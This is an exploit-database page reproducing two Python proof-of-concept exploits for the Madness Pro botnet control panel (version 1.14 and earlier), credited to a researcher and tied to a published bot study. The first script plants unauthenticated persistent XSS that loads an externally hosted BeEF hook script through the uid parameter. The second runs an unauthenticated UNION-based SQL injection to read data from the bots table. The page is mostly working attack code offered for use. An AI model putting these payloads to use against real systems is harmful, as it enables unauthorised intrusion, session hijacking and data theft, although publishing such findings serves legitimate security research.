Lucene search
K

Madness Pro <= 1.14 Persistent XSS / SQL InjectionVulnerabilities

πŸ—“οΈΒ 06 Jun 2014Β 00:00:00Reported byΒ bwallTypeΒ 
zdt
Β zdt
πŸ”—Β 0day.todayπŸ‘Β 34Β Views

Madness Pro version 1.14 vulnerability exploit in Python for Persistent XSS and SQL Injectio

Code
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 Persistent XSS
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              β–„β–„β–Œ        β–„β–„β–„β–„Β·       β–„β–„β–„β–„β–„      β€’ β–Œ β–„ Β·.  β–„Β· β–„β–Œ
#              β–ˆβ–ˆβ€’  β–ͺ     β–β–ˆ β–€β–ˆβ–ͺβ–ͺ     β€’β–ˆβ–ˆ  β–ͺ     Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆβ–ͺβ–ˆβ–ˆβ–Œ
#              β–ˆβ–ˆβ–ͺ   β–„β–ˆβ–€β–„ β–β–ˆβ–€β–€β–ˆβ–„ β–„β–ˆβ–€β–„  β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–β–ˆβ–Œβ–β–ˆβ–ͺ
#              β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–Œ.β–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œ β–β–ˆβ–€Β·.
#              .β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺΒ·β–€β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺ β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺβ–€β–€  β–ˆβ–ͺβ–€β–€β–€  β–€ β€’
#   β–„β–„Β· β–„β€’ β–„β–Œβ–„β–„β–„  β–ͺ   ▐ β–„  β–„β–„ β€’     β€’ β–Œ β–„ Β·.  β–„β–„β–„Β· Β·β–„β–„β–„β–„   ▐ β–„ β–„β–„β–„ ..β–„β–„ Β· .β–„β–„ Β·
#  β–β–ˆ β–Œβ–ͺβ–ˆβ–ͺβ–ˆβ–ˆβ–Œβ–€β–„ β–ˆΒ·β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–β–ˆ β–€ β–ͺ    Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆ β–€β–ˆ β–ˆβ–ˆβ–ͺ β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–€β–„.β–€Β·β–β–ˆ β–€. β–β–ˆ β–€.
#  β–ˆβ–ˆ β–„β–„β–ˆβ–Œβ–β–ˆβ–Œβ–β–€β–€β–„ β–β–ˆΒ·β–β–ˆβ–β–β–Œβ–„β–ˆ β–€β–ˆβ–„    β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–„β–ˆβ–€β–€β–ˆ β–β–ˆΒ· β–β–ˆβ–Œβ–β–ˆβ–β–β–Œβ–β–€β–€β–ͺβ–„β–„β–€β–€β–€β–ˆβ–„β–„β–€β–€β–€β–ˆβ–„
#  β–β–ˆβ–ˆβ–ˆβ–Œβ–β–ˆβ–„β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–Œβ–β–ˆβ–Œβ–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–ͺβ–β–ˆ    β–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆ. β–ˆβ–ˆ β–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–„β–Œβ–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–„β–ͺβ–β–ˆ
#  Β·β–€β–€β–€  β–€β–€β–€ .β–€  β–€β–€β–€β–€β–€β–€ β–ˆβ–ͺΒ·β–€β–€β–€β–€     β–€β–€  β–ˆβ–ͺβ–€β–€β–€ β–€  β–€ β–€β–€β–€β–€β–€β€’ β–€β–€ β–ˆβ–ͺ β–€β–€β–€  β–€β–€β–€β–€  β–€β–€β–€β–€
#
# Unauthenticated persistent XSS in Madness Pro panel <= 1.14
# Discovered and developed by bwall @botnet_hunter
#
# References:
#   http://blog.cylance.com/a-study-in-bots-lobotomy
#  
import urllib
 
# Fill in URL that Madness Pro bot connects back to
panel_url = ""
# Fill in URL to your Javascript payload (the shorter the better)
beef_hook = ""
 
 
def install_beef_hook(beef_hook_url, panel_index_url):
    f = urllib.urlopen("{0}?uid=12345%3Cimg%20alt%3D\\')%3B%5C%22%3E%3Cscript%20src=\"{1}\">%3C%2Fscript%3E%3C%2Fa%3E"
                       "%3Ca%20href%3D%22%23%22%20onclick%3D%5C%22set_status(\\'12345".format(panel_index_url,
                                                                                              beef_hook_url))
    print f.read()
 
install_beef_hook(beef_hook, panel_url)

---------------------------------------------------------------------------------------

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
# Exploit Title: Madness Pro <= 1.14 SQL injection
# Date: June 05, 2014
# Exploit Author: @botnet_hunter
# Version: 1.14
# Tested on: Apache2 - Ubuntu - MySQL
#              β–„β–„β–Œ        β–„β–„β–„β–„Β·       β–„β–„β–„β–„β–„      β€’ β–Œ β–„ Β·.  β–„Β· β–„β–Œ
#              β–ˆβ–ˆβ€’  β–ͺ     β–β–ˆ β–€β–ˆβ–ͺβ–ͺ     β€’β–ˆβ–ˆ  β–ͺ     Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆβ–ͺβ–ˆβ–ˆβ–Œ
#              β–ˆβ–ˆβ–ͺ   β–„β–ˆβ–€β–„ β–β–ˆβ–€β–€β–ˆβ–„ β–„β–ˆβ–€β–„  β–β–ˆ.β–ͺ β–„β–ˆβ–€β–„ β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–β–ˆβ–Œβ–β–ˆβ–ͺ
#              β–β–ˆβ–Œβ–β–Œβ–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–Œ.β–β–Œ β–β–ˆβ–ŒΒ·β–β–ˆβ–Œ.β–β–Œβ–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œ β–β–ˆβ–€Β·.
#              .β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺΒ·β–€β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺ β–€β–€β–€  β–€β–ˆβ–„β–€β–ͺβ–€β–€  β–ˆβ–ͺβ–€β–€β–€  β–€ β€’
#   β–„β–„Β· β–„β€’ β–„β–Œβ–„β–„β–„  β–ͺ   ▐ β–„  β–„β–„ β€’     β€’ β–Œ β–„ Β·.  β–„β–„β–„Β· Β·β–„β–„β–„β–„   ▐ β–„ β–„β–„β–„ ..β–„β–„ Β· .β–„β–„ Β·
#  β–β–ˆ β–Œβ–ͺβ–ˆβ–ͺβ–ˆβ–ˆβ–Œβ–€β–„ β–ˆΒ·β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–β–ˆ β–€ β–ͺ    Β·β–ˆβ–ˆ β–β–ˆβ–ˆβ–ˆβ–ͺβ–β–ˆ β–€β–ˆ β–ˆβ–ˆβ–ͺ β–ˆβ–ˆ β€’β–ˆβ–Œβ–β–ˆβ–€β–„.β–€Β·β–β–ˆ β–€. β–β–ˆ β–€.
#  β–ˆβ–ˆ β–„β–„β–ˆβ–Œβ–β–ˆβ–Œβ–β–€β–€β–„ β–β–ˆΒ·β–β–ˆβ–β–β–Œβ–„β–ˆ β–€β–ˆβ–„    β–β–ˆ β–Œβ–β–Œβ–β–ˆΒ·β–„β–ˆβ–€β–€β–ˆ β–β–ˆΒ· β–β–ˆβ–Œβ–β–ˆβ–β–β–Œβ–β–€β–€β–ͺβ–„β–„β–€β–€β–€β–ˆβ–„β–„β–€β–€β–€β–ˆβ–„
#  β–β–ˆβ–ˆβ–ˆβ–Œβ–β–ˆβ–„β–ˆβ–Œβ–β–ˆβ€’β–ˆβ–Œβ–β–ˆβ–Œβ–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–ͺβ–β–ˆ    β–ˆβ–ˆ β–ˆβ–ˆβ–Œβ–β–ˆβ–Œβ–β–ˆ β–ͺβ–β–Œβ–ˆβ–ˆ. β–ˆβ–ˆ β–ˆβ–ˆβ–β–ˆβ–Œβ–β–ˆβ–„β–„β–Œβ–β–ˆβ–„β–ͺβ–β–ˆβ–β–ˆβ–„β–ͺβ–β–ˆ
#  Β·β–€β–€β–€  β–€β–€β–€ .β–€  β–€β–€β–€β–€β–€β–€ β–ˆβ–ͺΒ·β–€β–€β–€β–€     β–€β–€  β–ˆβ–ͺβ–€β–€β–€ β–€  β–€ β–€β–€β–€β–€β–€β€’ β–€β–€ β–ˆβ–ͺ β–€β–€β–€  β–€β–€β–€β–€  β–€β–€β–€β–€
#
# Unauthenticated SQL injection in Madness Pro panel <= 1.14
# Proof of Concept retrieves a count of the bots, although it can be utilized for far more
# Discovered and developed by bwall @botnet_hunter
#
# References:
#   http://blog.cylance.com/a-study-in-bots-lobotomy
#  
import urllib
 
# Fill in URL that Madness Pro bot connects back to
panel_url = ""
 
 
def run_sqli_proof_of_concept(panel_index_url):
    f = urllib.urlopen("{0}?uid='%20OR%201=2%20UNION%20ALL%20SELECT%201,1,1,CONCAT('bot-count:',COUNT(*))%20FROM%20bots"
                       "%20--%20--".format(panel_index_url))
    print f.read()
 
run_sqli_proof_of_concept(panel_url)

#  0day.today [2018-02-17]  #

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation